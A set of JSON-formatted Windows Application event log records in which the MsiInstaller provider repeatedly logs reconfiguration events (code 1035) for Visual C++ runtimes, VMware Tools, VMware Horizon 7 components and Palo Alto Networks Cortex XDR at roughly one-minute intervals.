{"@timestamp":1657399870786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171133}}
{"@timestamp":1657399930299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171134}}
{"@timestamp":1657399930324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171135}}
{"@timestamp":1657399930373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171136}}
{"@timestamp":1657399930412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171137}}
{"@timestamp":1657399930440,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171138}}
{"@timestamp":1657399930471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171139}}
{"@timestamp":1657399930496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171140}}
{"@timestamp":1657399930522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171141}}
{"@timestamp":1657399930557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171142}}
{"@timestamp":1657399930584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171143}}
{"@timestamp":1657399990337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171144}}
{"@timestamp":1657399990363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171145}}
{"@timestamp":1657399990413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171146}}
{"@timestamp":1657399990452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171147}}
{"@timestamp":1657399990480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171148}}
{"@timestamp":1657399990511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171149}}
{"@timestamp":1657399990537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171150}}
{"@timestamp":1657399990563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171151}}
{"@timestamp":1657399990598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171152}}
{"@timestamp":1657399990625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171153}}
{"@timestamp":1657400050320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171154}}
{"@timestamp":1657400050348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171155}}
{"@timestamp":1657400050399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171156}}
{"@timestamp":1657400050439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171157}}
{"@timestamp":1657400050467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171158}}
{"@timestamp":1657400050497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171159}}
{"@timestamp":1657400050523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171160}}
{"@timestamp":1657400050549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171161}}
{"@timestamp":1657400050584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171162}}
{"@timestamp":1657400050611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171163}}
{"@timestamp":1657400110562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171164}}
{"@timestamp":1657400110588,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171165}}
{"@timestamp":1657400110637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171166}}
{"@timestamp":1657400110677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171167}}
{"@timestamp":1657400110705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171168}}
{"@timestamp":1657400110736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171169}}
{"@timestamp":1657400110762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171170}}
{"@timestamp":1657400110788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171171}}
{"@timestamp":1657400110825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171172}}
{"@timestamp":1657400110852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171173}}
{"@timestamp":1657400170384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171174}}
{"@timestamp":1657400170411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171175}}
{"@timestamp":1657400170461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171176}}
{"@timestamp":1657400170501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171177}}
{"@timestamp":1657400170529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171178}}
{"@timestamp":1657400170560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171179}}
{"@timestamp":1657400170587,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171180}}
{"@timestamp":1657400170612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171181}}
{"@timestamp":1657400170648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171182}}
{"@timestamp":1657400170678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171183}}
{"@timestamp":1657400230391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171184}}
{"@timestamp":1657400230418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171185}}
{"@timestamp":1657400230468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171186}}
{"@timestamp":1657400230509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171187}}
{"@timestamp":1657400230537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171188}}
{"@timestamp":1657400230568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171189}}
{"@timestamp":1657400230595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171190}}
{"@timestamp":1657400230621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171191}}
{"@timestamp":1657400230656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171192}}
{"@timestamp":1657400230685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171193}}
{"@timestamp":1657400290458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171194}}
{"@timestamp":1657400290484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171195}}
{"@timestamp":1657400290535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171196}}
{"@timestamp":1657400290574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171197}}
{"@timestamp":1657400290601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171198}}
